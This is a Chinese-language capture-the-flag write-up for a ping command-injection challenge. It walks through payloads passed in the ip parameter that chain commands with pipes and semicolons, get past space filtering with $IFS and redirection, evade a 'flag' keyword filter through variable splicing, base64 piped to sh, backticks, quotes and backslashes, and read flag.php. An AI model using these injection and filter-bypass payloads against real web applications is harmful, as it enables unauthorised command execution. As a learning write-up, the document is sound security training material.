根据题目提示和页面显示的/?ip=
/?ip=是get传参的表现,跟据题目ping尝试在/?ip=后面加127.0.0.0
有回显,看来方向是对的,接下来用管道符拼接ls尝试
看到了flag.php,直接cat flag,发现没有找到,发现空格被过滤了fxck your space(空格)!
Liunx下常见的绕过空格方式有以下几种:
cat$IFS$1flag.php//$1-$9都可以
cat${IFS}flag.php
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
cat<flag.php
cat<>flag.php
ps:
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
绕过空格之后,又发现符号被过滤了,但是不确定是$还是{}被过滤了
分别进行尝试,发现是{}被过滤了
绕过符号过滤后又发现flag也被过滤了
flag过滤绕过
?ip=127.0.0.0;a=g;cat$IFS$1fla$a.php
?ip=127.0.0.0;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
(这也是官方的 Writeup,原理是既然过滤 bash,那就用 sh,sh 的大部分脚本都可以在 bash下运行:)?ip=127.0.0.1;cat$IFS$9`ls`
(内连输出:
在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,
而这一道题就可以使用cat$IFS$1`ls` 这个命令来输出flag了
)
还有一些本题没有用到的不错的绕过方法
单双引号绕过
单双引号绕过也是一个不错的姿势。使用单双引号进行拼接,比如
ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。
反斜线绕过
大同小异
ca\t fl\ag
$1、$2等和 $@绕过
大概的形式就是l$1s ca$2t fl$@ag等等。